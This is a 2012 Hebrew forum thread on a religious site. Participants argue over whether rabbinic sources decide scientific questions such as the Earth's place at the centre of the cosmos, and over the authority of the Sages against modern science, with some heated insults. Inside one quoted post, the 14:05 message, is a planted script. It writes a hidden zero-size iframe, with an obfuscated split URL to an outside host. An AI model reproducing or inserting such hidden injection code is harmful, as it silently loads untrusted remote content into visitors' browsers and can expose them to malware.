|
|
| נשלח ב-3/4/2012 09:09 |
 |
| |
שותף.
התייחסתי לטענתך בהודעתי, עיין שם.זה לא קשור למציאת חן בעיני העולם אלא לראיית התורה בטהרתה. ואני לא ראיתי בשום מקום בחז"ל הוכחה ברורה לאחד מן הצדדים. [אלא אם כן חז"ל כולל אצלך כל אחרונים ואחרוני אחרונים] גם לא בזוהר ובכתי הרב. [אם תבין עומק ענין העגולים ויושר תדע את שכתבתי. ואכמ"ל ]
ייתכן,
אין כל קשר בין הנתבאר ל"אימות" שביארתי שם, והאימות מסוג שהגדרתי בהגדרה לא שייך לגבי נתונים פיזיקליים.
בעל
איני מתחשב במקורות זרים אלא מנסה להסתכל על העולם כפי שלימדוני התורה.
מיימוני
צרת רבים חצי נחמה.
|
|
|
|
| נשלח ב-3/4/2012 09:14 |
|
| |
רבנו חננאל הוא אחרוני אחרונים?
|
|
|
|
| נשלח ב-3/4/2012 09:18 |
|
| |
בוודאי שאינו חז"ל.
[כמו כן לא בדקתי דבריו וייתכן שיש לפרשו כל שאינו סותר. בכל אופן איני מתעלם מכך שפעם חשבו כך, גם חכמי ישראל, וכעת התברר שהוא טעות. לפחות באותו מידה בו כל תיאוריה מדעית מתבררת כטעות. ואם תטען מסמכות חז"ל כתבתי מה שכתבתי, חוץ ממה ששערי פירושים לא ננעלו.
תוקן על ידי יהיאור ב- 03/04/2012 09:19:29
|
|
|
|
| נשלח ב-3/4/2012 10:35 |
|
| |
החמה מהלכת בלילה למעלה מן הרקיע מן המערב למזרח וכשמגעת לחלון שזורחת ממנו לאלתר עולה עמוד השחר וחמה מהלכת בעוביו של רקיע וכשתגיע לסוף עוביו של רקיע לצד הנראה לבני אדם מיד מנצת על הארץ ומהלכת ביום כולו ממזרח למערב...וכן בשקיעה מהלכת חמה בעוביו של רקיע וכשתצא מעוביו של רקיע כולו מיד הכוכבים נראים".
http://www.bhol.co.il/forum/topic.asp?cat_id=4&topic_id=1232944&forum_id=1364&upd=1
תוקן על ידי eli_s ב- 03/04/2012 10:39:16
|
|
|
|
| נשלח ב-3/4/2012 10:39 |
|
| |
לבר מזאת נראה לי שפשוט לא הבנת את הסינטתיות במשפטי חז"ל. מניין לך החוצפה לבקר את מי שדוגל במשפטי האמת שלהם?
|
|
|
|
| נשלח ב-3/4/2012 14:05 |
|
| |
| מיימוני כתב: |  | שותף
האם השאלה על "מי במרכז" היא שאלה שהתורה אמורה לספק עליה תשובה?
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מובן שכאן נמצא שורש מחלוקתנו.
אני מתחיל מהשורה הראשונה של מדרש רבה בראשית ולומד שהקב"ה הסתכל באורייתא וברא עלמא.
מהיכן אתה מתחיל ?
|
|
|
|
|
| נשלח ב-3/4/2012 14:09 |
|
| |
| שנרב_נ כתב: | | כעת, אילו היו השוטים הנבערים שאתה מנסה להגן עליהם כאן מציעים מודל גלגלים מתוקן (הם הרי מאמינים במודל הגלגלים שפרטיו העיקריים נזכרו ברמב"ם וכל החולק על כך הוא אפיקורס כמובן), שמניח את ההנחות של פתולמאוס ואיך שהוא בעזרת תוספות כאלו ואחרות חוזה את מיקום הכוכבים נכונה, אז היה אולי מקום לסנגוריה שלך. אבל שנינו יודעים שלא זה המצב. כמובן שהלצים הללו לא יבזבזו דקת מנוע של נוירון בודד כדי לנסות לתקן את מודל הגלגלים: כל מה שהם עושים, עשו, ויודעים לעשות הוא לצרוח שהם צודקים, שכל האחרים רשעים, אפיקורסים ובעלי תאווה, ושלום עליך נפשי. הם מנצלים את זה שלאיש משומעי לקחם לא מזיז במאומה היכן יהיה מיקומו של כוכב פלוני ביום אלמוני, כי הטכנולוגיה של היום חוסכת מהם כל צורך לידיעה כזו.
זו, במחילה, לא יכולה להיות עמדה הראויה לכבוד, גם אם נניח כי אין מערכת ייחוס מועדפת אפילו ביחס לתאוצות. |
|
צודק, אלא שזה משום שאנשים כשרוניים כמוך (וכמו מיכי ידידנו) לא רואים צורך להכנס ולברר את הסוגיה במבט המעדיף לכתחילה את גישת חז"ל לנושא.
|
|
|
|
| נשלח ב-3/4/2012 14:12 |
|
| |
| יהיאור כתב: | | שותף.
התייחסתי לטענתך בהודעתי, עיין שם.זה לא קשור למציאת חן בעיני העולם אלא לראיית התורה בטהרתה. ואני לא ראיתי בשום מקום בחז"ל הוכחה ברורה לאחד מן הצדדים. [אלא אם כן חז"ל כולל אצלך כל אחרונים ואחרוני אחרונים] גם לא בזוהר ובכתי הרב. [אם תבין עומק ענין העגולים ויושר תדע את שכתבתי. ואכמ"ל ] |
|
אדרבא, ילמדנו רבינו את עניין עיגולים ויושר ע"פ דעתו ונחכימה.
לפי תפיסתי בעניין, המבוססת על שיטת הלשם כמובן, כדור הארץ הוא במרכז העיגולים.
|
|
|
|
| נשלח ב-3/4/2012 15:54 |
|
| |
שותפי, מבחינת המתודולוגיה שלי זה בהחלט נכון. אני לא מתייחס לדברי חז"ל כברירת מחדל (כלומר שנדרשת הוכחה חזקה מאד כדי לסתור את דבריהם), שכן למיטב שיפוטי הם לא היו מצויידים בידע מדעי מעבר לידוע בתקופתם. לכן אני כלל לא מתחשב בדעתם כמקור סמכות, וגם אם יש נטייה קלה נגד מה שהם אומרים די לי בכך. אם הם צודקים, אז כמובן טוב מאד.
|
|
|
|
| נשלח ב-3/4/2012 16:35 |
|
| |
יהיאור,
לא הבנתי למה הסוגיא הזו כ"כ בוערת מבחינתך , וכי בשופטני עסקינן ?
אני יכול לקבל (ועקרונית גם להיות שותף) גישה כמו של "שותפי סוד" בהקשר הזה , שדורשת ראיה חזקה מאוד כדי לסתור את דברי חכמים, גם בענינים שאינם נוגעים להלכה, וגם שכלל לא בטוח ,ואם תשאל אותי בטוח שלא , שחכמים התכוונו ללמד אותנו מדע במובן הפיסיקלי באומרם אי אלו דברים וכפי שביאר המהר"ל למשל בכגון אלו.
ואני יכול גם לקבל גישה שאומרת שבעניני מדע (שאינם נוגעים ישירות להלכה) נפנה למדע אלא אם תהיה ראיה חזקה אחרת .
אבל מי שלא מבין כלל את טיעוני המדע (או לחילופין את גישת המצדדים בחז"ל בכגון אלו) מה כ"כ עקרוני לעסוק בדבריו , בפרט שאין לזה השלכות של ממש לחיינו ?
אם כבר יש מקומות הרבה יותר בעייתים בהם קטנות המוחין של לומדי תורה מזיקה לחיינו, כפי מה שאמרו חכמים בענין המורה שאינו ראוי להוראה או להפך.
ופשוט.
|
|
|
|
|
